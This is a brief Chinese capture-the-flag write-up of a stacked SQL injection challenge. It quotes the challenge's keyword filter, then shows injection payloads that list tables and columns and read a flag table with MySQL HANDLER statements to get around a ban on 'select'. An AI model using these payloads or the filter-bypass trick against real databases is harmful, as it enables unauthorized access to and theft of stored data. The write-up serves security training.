image.png
    熟悉的页面,直接堆叠注入
    后面的waf

    1. preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

    先看一下表名

    ?inject=1'; show tables; --+
    
    array(1) {
      [0]=>
      string(8) "FlagHere"
    }
    
    array(1) {
      [0]=>
      string(5) "words"
    }
    

    看列里面的东西

    ?inject=1'; show columns from `FlagHere`; --+
    
    array(6) {
      [0]=>
      string(4) "flag"
      [1]=>
      string(12) "varchar(100)"
      [2]=>
      string(2) "NO"
      [3]=>
      string(0) ""
      [4]=>
      NULL
      [5]=>
      string(0) ""
    }
    

    select被过滤了,无列名也没想到好的姿势,只看到了HANDLER
    最终的payload

    ?inject=1';
    HANDLER FlagHere OPEN;
    HANDLER FlagHere READ FIRST;
    HANDLER FlagHere CLOSE;#
    

    通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
    通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
    通过HANDLER tbl_name CLOSE来关闭打开的句柄。

    通过索引去查看的话可以按照一定的顺序,获取表中的数据。
    通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

    通过索引列指定一个值,可以指定从哪一行开始。
    通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。

    这姿势第一次见。(和强网杯随便注一点也不一样)